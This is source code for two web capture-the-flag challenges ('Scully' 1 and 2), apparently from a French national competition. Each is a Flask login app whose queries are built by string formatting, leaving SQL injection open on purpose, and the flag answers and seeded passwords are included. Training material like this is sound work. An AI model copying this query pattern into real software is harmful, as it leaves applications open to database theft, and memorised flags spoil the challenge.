78 | 		   		 <input class="btn btn-primary" disabled="" id="post" name="post" 
79 | 		   		 type="submit" value="Poster" data-toggle="tooltip" data-placement="bottom" title="Les commentaires sont temporairement désactivés.">
80 | 			</div>
81 | 			</form>
82 | 
83 | 	    </div>
84 |       </div><!-- /.card -->
85 | </div><!-- /.blog-post -->
86 | {% endblock %}
87 | 


--------------------------------------------------------------------------------
/web-scully1/Dockerfile:
--------------------------------------------------------------------------------
 1 | FROM python:2.7-alpine
 2 | RUN apk update && apk add python py-pip 
 3 | RUN adduser -D ctf
 4 | 
 5 | WORKDIR /app
 6 | 
 7 | COPY app/requirements.txt .
 8 | RUN pip install -r requirements.txt
 9 | 
10 | COPY app /app
11 | RUN chmod +x /app/docker-entrypoint.sh
12 | RUN chown -R ctf:ctf /app
13 | 
14 | USER ctf
15 | EXPOSE 8000
16 | ENTRYPOINT ["/app/docker-entrypoint.sh"]
17 | 


--------------------------------------------------------------------------------
/web-scully1/README.md:
--------------------------------------------------------------------------------
 1 | # Scully (1)
 2 | 
 3 | | Phase          | Catégorie    |   Difficulté  | Nombre de résolutions |
 4 | |:--------------:|:------------:|:-------------:|:---------------------:|
 5 | | Pré-sélections | web          |      Facile   |            117 / 1241 |
 6 | 
 7 | ### Description
 8 | 
 9 | Notre développeur web n'est pas très doué en matière de sécurité...
10 | Saurez-vous afficher le flag afin que nous puissions lui montrer qu'il faut faire des efforts ?
11 | 
12 | Note : **Aucun bruteforce n'est nécessaire**.
13 | 


--------------------------------------------------------------------------------
/web-scully1/app/app.py:
--------------------------------------------------------------------------------
 1 | #!/usr/bin/python3
 2 | import sqlite3, os, hashlib
 3 | from flask import Flask, jsonify, render_template, request, g
 4 | from flag import flag
 5 | 
 6 | app = Flask(__name__)
 7 | app.database = "database.db"
 8 | 
 9 | @app.route('/')
10 | def index():
11 |     return render_template('index.html')
12 | 
13 | #API routes
14 | @app.route('/api/v1/login/', methods=['POST'])
15 | def login():
16 |     if request.method == 'POST':
17 |         username, password = (request.json['username'],request.json['password'])
18 |         g.db = connect_db()
19 |         try:
20 |             cur = g.db.execute("SELECT * FROM players WHERE username = '{}' AND password = '{}'".format(username, hash_pass(password)))
21 |             if cur.fetchone():
22 |                 flag = g.db.execute("SELECT flag FROM flag").fetchone()
23 |                 result = {'status': 'success', 'flag': flag}
24 |             else:
25 |                 result = {'status': 'fail'}
26 |         except sqlite3.OperationalError:
27 |             result={'status': 'fail'}
28 |         else:
29 |             g.db.close()
30 |         return jsonify(result)
31 | 
32 | @app.errorhandler(404)
33 | def page_not_found_error(error):
34 |     return render_template('error.html', error=error)
35 | 
36 | @app.errorhandler(500)
37 | def internal_server_error(error):
38 |     return render_template('error.html', error=error)
39 | 
40 | def connect_db():
41 |     return sqlite3.connect(app.database)
42 | 
43 | # Create password hashes
44 | def hash_pass(password):
45 | 	return hashlib.sha256(password.encode('utf-8')).hexdigest()
46 | 
47 | if __name__ == "__main__":
48 | 
49 |     #create database if it doesn't exist yet
50 |     if not os.path.exists(app.database):
51 |         with sqlite3.connect(app.database) as connection:
52 |             c = connection.cursor()
53 |             c.execute("""CREATE TABLE players(id integer primary key autoincrement, username TEXT, password TEXT)""")
54 |             c.execute('INSERT INTO players (username, password) VALUES("admin", "{}")'.format(hash_pass("ecsc1234$*")))
55 |             c.execute('INSERT INTO players (username, password) VALUES("m.poole", "{}")'.format(hash_pass("badpassword")))
56 |             c.execute('INSERT INTO players (username, password) VALUES("r.alexander", "{}")'.format(hash_pass("letmein")))
57 |             c.execute('INSERT INTO players (username, password) VALUES("m.benson", "{}")'.format(hash_pass("P@$$w0rd")))
58 |             c.execute("""CREATE TABLE flag(flag TEXT)""")
59 |             c.execute('INSERT INTO flag (flag) VALUES("{}")'.format(flag))
60 |             connection.commit()
61 |             connection.close()
62 | 
63 |     #app.run(host='0.0.0.0') # runs on machine ip address to make it visible on network
64 | 


--------------------------------------------------------------------------------
/web-scully1/app/database.db:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ANSSI-FR/ctf/024390ed10ac1224881f3fe7b0c105214a9a800d/web-scully1/app/database.db


--------------------------------------------------------------------------------
/web-scully1/app/docker-entrypoint.sh:
--------------------------------------------------------------------------------
 1 | #!/bin/sh
 2 | set -eo pipefail
 3 | 
 4 | WORKERS=${WORKERS:-1}
 5 | ACCESS_LOG=${ACCESS_LOG:--}
 6 | ERROR_LOG=${ERROR_LOG:--}
 7 | 
 8 | # Initialize database
 9 | python app.py
10 | 
11 | # Start SQLi1
12 | echo "Starting SQLi1"
13 | exec gunicorn 'app:app' \
14 |     --bind '0.0.0.0:8000' \
15 |     --workers $WORKERS \
16 |     --access-logfile "$ACCESS_LOG" \
17 |     --error-logfile "$ERROR_LOG"
18 | 


--------------------------------------------------------------------------------
/web-scully1/app/flag.py:
--------------------------------------------------------------------------------
1 | flag = "ECSC{889b71de2017ca8074f49d3f853950e147591b38}"
2 | 


--------------------------------------------------------------------------------
/web-scully1/app/requirements.txt:
--------------------------------------------------------------------------------
1 | Flask==1.0.2
2 | gunicorn==19.9.0
3 | 


--------------------------------------------------------------------------------
/web-scully1/app/static/script.js:
--------------------------------------------------------------------------------
 1 | //Using our API
 2 | 
 3 | function login(){
 4 |     var username = document.getElementById("username").value;
 5 |     var password = document.getElementById("password").value;
 6 | 
 7 |     var dat = {'username':username, 'password':password};
 8 | 
 9 |     $.ajax('/api/v1/login/',{
10 |         method: 'POST',
11 |         data: JSON.stringify(dat),
12 |         dataType: "json",
13 |         contentType: "application/json",
14 |     }).done(function(res){
15 | 
16 |       if (res['status'] == 'success'){
17 |         $("#stat").html('<b>Successful Login. Here is your flag: ');
18 |         $("#stat").append(res['flag']);
19 |         $("#stat").append('</b>');
20 |       }
21 |       else{
22 |         $("#stat").html('<b>Login Failed</b>');
23 |       }
24 | 
25 |     }).fail(function(err){
26 |         $("#stat").html(err);
27 |     });
28 | }
29 | 
30 | $(document).ready(function(){
31 | 
32 |     $("#navbar ul li a").on('click', function(event){
33 |         event.preventDefault();
34 |         var page = $(this).attr("href");
35 | 
36 |         $("#main").load(page);
37 |     });
38 | });
39 | 


--------------------------------------------------------------------------------
/web-scully1/app/static/style.css:
--------------------------------------------------------------------------------
 1 | table, th, td {
 2 |     border: 1px solid black;
 3 |     border-collapse: collapse;
 4 | }
 5 | 
 6 | .button{
 7 |     background-color: navy;
 8 |     color: white;
 9 |     border: none;
10 |     height: 25px;
11 |     width: 100px;
12 |     font-weight: bold;
13 | }
14 | 
15 | #content{
16 |     margin: auto;
17 |     width: 1000px;
18 |     text-align: center;
19 |     border: 2px solid navy;
20 |     padding-bottom: 30px;
21 | }
22 | 
23 | table{
24 |     margin-left: center;
25 |     margin-right: center;
26 |     width: 50%;
27 | }
28 | 
29 | #navbar
30 | {
31 |   position: relative;
32 | }
33 | 
34 | #navbar ul
35 | {
36 |     list-style-type: none;
37 |     margin: 0;
38 |     padding: 0;
39 |     overflow: hidden;
40 |     background-color: navy;
41 |     position: fixed;
42 |     top: 0;
43 |     width: 100%;
44 | }
45 | 
46 | #navbar ul li
47 | {
48 |     float: left;
49 | }
50 | 
51 | #navbar ul li a
52 | {
53 |     display: block;
54 |     color: white;
55 |     border-radius: 5px 5px;
56 |     text-align: center;
57 |     padding: 14px 16px;
58 |     text-decoration: none;
59 | }
60 | 


--------------------------------------------------------------------------------
/web-scully1/app/templates/base.html:
--------------------------------------------------------------------------------
 1 | <html>
 2 |     <head>
 3 |         <title>{% block title %}{% endblock %}</title>
 4 |         <script src="https://code.jquery.com/jquery-3.1.1.min.js" type="text/javascript"></script>
 5 |         <link rel="stylesheet" type="text/css" href="{{ url_for('static', filename='style.css') }}"/>
 6 |         <script src="{{ url_for('static', filename='script.js') }}" type="text/javascript"></script>
 7 |     </head>
 8 | 
 9 |     <body>
10 |         <div id="main">
11 | 
12 |         {% block content %}
13 |         {% endblock %}
14 |         </div>
15 | 
16 |     </body>
17 | </html>
18 | 


--------------------------------------------------------------------------------
/web-scully1/app/templates/error.html:
--------------------------------------------------------------------------------
 1 | {% extends 'base.html' %}
 2 | 
 3 | {% block title %}Une erreur est survenue{% endblock %}
 4 | 
 5 | {% block content %}
 6 | 
 7 | <div id="content">
 8 | 
 9 | <br><br>
10 | 
11 | <h1>Bienvenue sur le site de la Team France</h1>
12 | <h2>Page d'erreur</h2><br>
13 | 
14 | <p> {{ error }} </p>
15 | 
16 | <br><br>
17 | 
18 | <p id="stat"></p>
19 | 
20 | </div>
21 | {% endblock %}
22 | 


--------------------------------------------------------------------------------
/web-scully1/app/templates/index.html:
--------------------------------------------------------------------------------
 1 | {% extends 'base.html' %}
 2 | 
 3 | {% block title %}Espace joueurs{% endblock %}
 4 | 
 5 | {% block content %}
 6 | 
 7 | <div id="content">
 8 | 
 9 | <br><br>
10 | 
11 | <h1>Bienvenue sur le site de la Team France</h1>
12 | <h2>Connectez-vous ci-dessous</h2><br>
13 | 
14 | <form action="?" method="POST" onsubmit="login();return false;">
15 | 	Nom d'utilisateur : <input type="text" id="username" value=""/>
16 |     Mot de passe : <input type="password" id="password" value=""/>
17 | 	<input class="button" type="submit" value="Connexion" />
18 | </form>
19 | 
20 | <br><br>
21 | 
22 | <p id="stat"></p>
23 | 
24 | </div>
25 | {% endblock %}
26 | 


--------------------------------------------------------------------------------
/web-scully2/Dockerfile:
--------------------------------------------------------------------------------
 1 | FROM python:2.7-alpine
 2 | RUN apk update && apk add python py-pip 
 3 | RUN adduser -D ctf
 4 | 
 5 | WORKDIR /app
 6 | 
 7 | COPY app/requirements.txt .
 8 | RUN pip install -r requirements.txt
 9 | 
10 | COPY app/ /app
11 | RUN chmod +x /app/docker-entrypoint.sh
12 | RUN chown -R ctf:ctf /app
13 | 
14 | USER ctf
15 | EXPOSE 8000
16 | ENTRYPOINT ["/app/docker-entrypoint.sh"]
17 | 


--------------------------------------------------------------------------------
/web-scully2/README.md:
--------------------------------------------------------------------------------
 1 | # Scully (2)
 2 | 
 3 | | Phase          | Catégorie    |   Difficulté  | Nombre de résolutions |
 4 | |:--------------:|:------------:|:-------------:|:---------------------:|
 5 | | Pré-sélections | web          |       Moyen   |             63 / 1241 |
 6 | 
 7 | ### Description
 8 | 
 9 | Notre developpeur web a fait quelques efforts sur la partie authentification et les informations de la base ne sont plus exposées directement sur la page d'accueil !
10 | Cependant, il semblerait que cela ne soit pas suffisant...
11 | Saurez-vous retrouver le flag ?
12 | 
13 | Note : **Aucun bruteforce n'est nécessaire**.
14 | 


--------------------------------------------------------------------------------
/web-scully2/app/app.py:
--------------------------------------------------------------------------------
 1 | #!/usr/bin/python3
 2 | import sqlite3, os, hashlib
 3 | from flask import Flask, jsonify, render_template, request, g
 4 | from flag import flag
 5 | 
 6 | app = Flask(__name__)
 7 | app.database = "database.db"
 8 | 
 9 | @app.route('/')
10 | def index():
11 |     return render_template('index.html')
12 | 
13 | #API routes
14 | @app.route('/api/v1/login/', methods=['POST'])
15 | def login():
16 |     if request.method == 'POST':
17 |         username, password = (request.json['username'],request.json['password'])
18 |         g.db = connect_db()
19 |         try:
20 |             cur = g.db.execute("SELECT * FROM players WHERE username = '{}' AND password = '{}'".format(username, hash_pass(password)))
21 |             if cur.fetchone():
22 |                 result = {'status': 'success'}
23 |             else:
24 |                 result = {'status': 'fail'}
25 |         except sqlite3.OperationalError:
26 |             result={'status': 'fail'}
27 |         else:
28 |             g.db.close()
29 |         return jsonify(result)
30 | 
31 | @app.errorhandler(404)
32 | def page_not_found_error(error):
33 |     return render_template('error.html', error=error)
34 | 
35 | @app.errorhandler(500)
36 | def internal_server_error(error):
37 |     return render_template('error.html', error=error)
38 | 
39 | def connect_db():
40 |     return sqlite3.connect(app.database)
41 | 
42 | # Create password hashes
43 | def hash_pass(password):
44 | 	return hashlib.sha256(password.encode('utf-8')).hexdigest()
45 | 
46 | if __name__ == "__main__":
47 | 
48 |     #create database if it doesn't exist yet
49 |     if not os.path.exists(app.database):
50 |         with sqlite3.connect(app.database) as connection:
51 |             c = connection.cursor()
52 |             c.execute("""CREATE TABLE players(id integer primary key autoincrement, username TEXT, password TEXT)""")
53 |             c.execute('INSERT INTO players (username, password) VALUES("admin", "{}")'.format(hash_pass("ecsc1234$*")))
54 |             c.execute('INSERT INTO players (username, password) VALUES("m.poole", "{}")'.format(hash_pass("badpassword")))
55 |             c.execute('INSERT INTO players (username, password) VALUES("r.alexander", "{}")'.format(hash_pass("letmein")))
56 |             c.execute('INSERT INTO players (username, password) VALUES("m.benson", "{}")'.format(hash_pass("P@$$w0rd")))
57 |             c.execute("""CREATE TABLE flag(flag TEXT)""")
58 |             c.execute('INSERT INTO flag (flag) VALUES("{}")'.format(flag))
59 |             connection.commit()
60 |             connection.close()
61 | 
62 | #    app.run(host='0.0.0.0') # runs on machine ip address to make it visible on netowrk
63 | 


--------------------------------------------------------------------------------
/web-scully2/app/database.db:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ANSSI-FR/ctf/024390ed10ac1224881f3fe7b0c105214a9a800d/web-scully2/app/database.db


--------------------------------------------------------------------------------
/web-scully2/app/docker-entrypoint.sh:
--------------------------------------------------------------------------------
 1 | #!/bin/sh
 2 | set -eo pipefail
 3 | 
 4 | WORKERS=${WORKERS:-1}
 5 | ACCESS_LOG=${ACCESS_LOG:--}
 6 | ERROR_LOG=${ERROR_LOG:--}
 7 | 
 8 | # Initialize database
 9 | python app.py
10 | 
11 | # Start SQLi1
12 | echo "Starting SQLi1"
13 | exec gunicorn 'app:app' \
14 |     --bind '0.0.0.0:8000' \
15 |     --workers $WORKERS \
16 |     --access-logfile "$ACCESS_LOG" \
17 |     --error-logfile "$ERROR_LOG"
18 | 


--------------------------------------------------------------------------------
/web-scully2/app/flag.py:
--------------------------------------------------------------------------------
1 | flag = "ECSC{3f65e0e1d453f6c8a79a90131aef13326a9a0bea}"
2 | 


--------------------------------------------------------------------------------
/web-scully2/app/requirements.txt:
--------------------------------------------------------------------------------
1 | Flask==1.0.2
2 | gunicorn==19.9.0
3 | 


--------------------------------------------------------------------------------
/web-scully2/app/static/script.js:
--------------------------------------------------------------------------------
 1 | //Using our API
 2 | 
 3 | function login(){
 4 |     var username = document.getElementById("username").value;
 5 |     var password = document.getElementById("password").value;
 6 | 
 7 |     var dat = {'username':username, 'password':password};
 8 | 
 9 |     $.ajax('/api/v1/login/',{
10 |         method: 'POST',
11 |         data: JSON.stringify(dat),
12 |         dataType: "json",
13 |         contentType: "application/json",
14 |     }).done(function(res){
15 | 
16 |       if (res['status'] == 'success'){
17 |         $("#stat").html('<b>Successful Login</b>');
18 |       }
19 |       else{
20 |         $("#stat").html('<b>Login Failed</b>');
21 |       }
22 | 
23 |     }).fail(function(err){
24 |         $("#stat").html(err);
25 |     });
26 | }
27 | 
28 | $(document).ready(function(){
29 | 
30 |     $("#navbar ul li a").on('click', function(event){
31 |         event.preventDefault();
32 |         var page = $(this).attr("href");
33 | 
34 |         $("#main").load(page);
35 |     });
36 | });
37 | 


--------------------------------------------------------------------------------
/web-scully2/app/static/style.css:
--------------------------------------------------------------------------------
 1 | table, th, td {
 2 |     border: 1px solid black;
 3 |     border-collapse: collapse;
 4 | }
 5 | 
 6 | .button{
 7 |     background-color: navy;
 8 |     color: white;
 9 |     border: none;
10 |     height: 25px;
11 |     width: 100px;
12 |     font-weight: bold;
13 | }
14 | 
15 | #content{
16 |     margin: auto;
17 |     width: 1000px;
18 |     text-align: center;
19 |     border: 2px solid navy;
20 |     padding-bottom: 30px;
21 | }
22 | 
23 | table{
24 |     margin-left: center;
25 |     margin-right: center;
26 |     width: 50%;
27 | }
28 | 
29 | #navbar
30 | {
31 |   position: relative;
32 | }
33 | 
34 | #navbar ul
35 | {
36 |     list-style-type: none;
37 |     margin: 0;
38 |     padding: 0;
39 |     overflow: hidden;
40 |     background-color: navy;
41 |     position: fixed;
42 |     top: 0;
43 |     width: 100%;
44 | }
45 | 
46 | #navbar ul li
47 | {
48 |     float: left;
49 | }
50 | 
51 | #navbar ul li a
52 | {
53 |     display: block;
54 |     color: white;
55 |     border-radius: 5px 5px;
56 |     text-align: center;
57 |     padding: 14px 16px;
58 |     text-decoration: none;
59 | }
60 | 


--------------------------------------------------------------------------------
/web-scully2/app/templates/base.html:
--------------------------------------------------------------------------------
 1 | <html>
 2 |     <head>
 3 |         <title>{% block title %}{% endblock %}</title>
 4 |         <script src="https://code.jquery.com/jquery-3.1.1.min.js" type="text/javascript"></script>
 5 |         <link rel="stylesheet" type="text/css" href="{{ url_for('static', filename='style.css') }}"/>
 6 |         <script src="{{ url_for('static', filename='script.js') }}" type="text/javascript"></script>
 7 |     </head>
 8 | 
 9 |     <body>
10 |         <div id="main">
11 | 
12 |         {% block content %}
13 |         {% endblock %}
14 |         </div>
15 | 
16 |     </body>
17 | </html>
18 | 


--------------------------------------------------------------------------------
/web-scully2/app/templates/error.html:
--------------------------------------------------------------------------------
 1 | {% extends 'base.html' %}
 2 | 
 3 | {% block title %}Une erreur est survenue{% endblock %}
 4 | 
 5 | {% block content %}
 6 | 
 7 | <div id="content">
 8 | 
 9 | <br><br>
10 | 
11 | <h1>Bienvenue sur le site de la Team France</h1>
12 | <h2>Page d'erreur</h2><br>
13 | 
14 | <p> {{ error }} </p>
15 | 
16 | <br><br>
17 | 
18 | <p id="stat"></p>
19 | 
20 | </div>
21 | {% endblock %}
22 | 


--------------------------------------------------------------------------------
/web-scully2/app/templates/index.html:
--------------------------------------------------------------------------------
 1 | {% extends 'base.html' %}
 2 | 
 3 | {% block title %}Espace joueurs{% endblock %}
 4 | 
 5 | {% block content %}
 6 | 
 7 | <div id="content">
 8 | 
 9 | <br><br>
10 | 
11 | <h1>Bienvenue sur le site de la Team France v2</h1>
12 | <h2>Connectez-vous ci-dessous</h2><br>
13 | 
14 | <form action="?" method="POST" onsubmit="login();return false;">
15 | 	Nom d'utilisateur : <input type="text" id="username" value=""/>
16 |     Mot de passe : <input type="password" id="password" value=""/>
17 | 	<input class="button" type="submit" value="Connexion" />
18 | </form>
19 | 
20 | <br><br>
21 | 
22 | <p id="stat"></p>
23 | 
24 | </div>
25 | {% endblock %}
26 | 


--------------------------------------------------------------------------------